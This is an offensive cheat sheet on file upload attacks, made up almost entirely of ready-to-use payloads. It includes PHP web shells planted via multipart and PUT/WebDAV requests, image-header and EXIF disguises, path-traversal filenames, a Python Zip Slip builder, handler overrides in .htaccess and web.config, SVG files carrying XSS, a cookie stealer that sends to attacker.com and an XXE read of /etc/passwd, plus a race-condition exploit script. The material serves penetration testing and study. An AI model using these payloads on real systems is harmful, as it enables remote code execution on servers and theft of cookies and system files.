File Upload Attacks

# Intercept upload in Burp Suite and change Content-Type:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream

# Full multipart request example:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Boundary--

# Common magic bytes/file signatures
GIF89a         # GIF image
GIF87a         # GIF image (older)
\xFF\xD8\xFF   # JPEG image
\x89PNG\r\n   # PNG image
%PDF-          # PDF document
PK             # ZIP archive

# Example: GIF header with PHP payload
GIF89a
<?php system($_GET['cmd']); ?>

# Using ExifTool to inject into image metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg

# Filename manipulation in Content-Disposition
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"
Content-Disposition: form-data; name="file"; filename="..%2F..%2F..%2Fshell.php"
Content-Disposition: form-data; name="file"; filename="....//....//shell.php"

# Windows path traversal
filename="..\\..\\..\\inetpub\\wwwroot\\shell.aspx"

# URL encoded variations
filename="..%252f..%252fshell.php"    # Double URL encode

# Python script to create a Zip Slip payload
import zipfile

def create_zip_slip(filename, target_path, content):
    with zipfile.ZipFile(filename, 'w') as zf:
        # The magic: filename contains traversal characters
        zf.writestr(target_path, content)

# Create a zip that writes shell.php to web root
create_zip_slip('evil.zip', '../../../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')

print("Created evil.zip")

# Make .jpg files execute as PHP
AddType application/x-httpd-php .jpg

# Or use handler
AddHandler php5-script .jpg

# Enable execution for specific extension
<FilesMatch "\.innocent$">
    SetHandler application/x-httpd-php
</FilesMatch>

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="aspx" path="*.jpg" verb="*" 
           modules="IsapiModule" 
           scriptProcessor="%windir%\System32\inetsrv\asp.dll" 
           resourceType="Unspecified"/>
    </handlers>
  </system.webServer>
</configuration>

# Test for PUT support
OPTIONS / HTTP/1.1
Host: target.com

# Response might include: Allow: GET, POST, PUT, DELETE

# Upload file via PUT
PUT /uploads/shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-httpd-php
Content-Length: 30

<?php system($_GET['cmd']); ?>

# If PUT is blocked, try MOVE (WebDAV)
PUT /uploads/shell.txt HTTP/1.1
...
MOVE /uploads/shell.txt HTTP/1.1
Destination: /uploads/shell.php

<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

<!-- Cookie stealer SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    new Image().src="http://attacker.com/steal?c="+document.cookie;
  </script>
</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="20">&xxe;</text>
</svg>

# Race condition concept:
# 1. Application saves file temporarily
# 2. Application validates file
# 3. Application deletes if invalid

# Attack: Access file between steps 1 and 2
# Use Burp Intruder or Turbo Intruder for timing

# Python threading example
import threading
import requests

def upload():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post(upload_url, files=files)

def access():
    requests.get(shell_url + "?cmd=id")

# Run both simultaneously
for i in range(100):
    t1 = threading.Thread(target=upload)
    t2 = threading.Thread(target=access)
    t1.start()
    t2.start()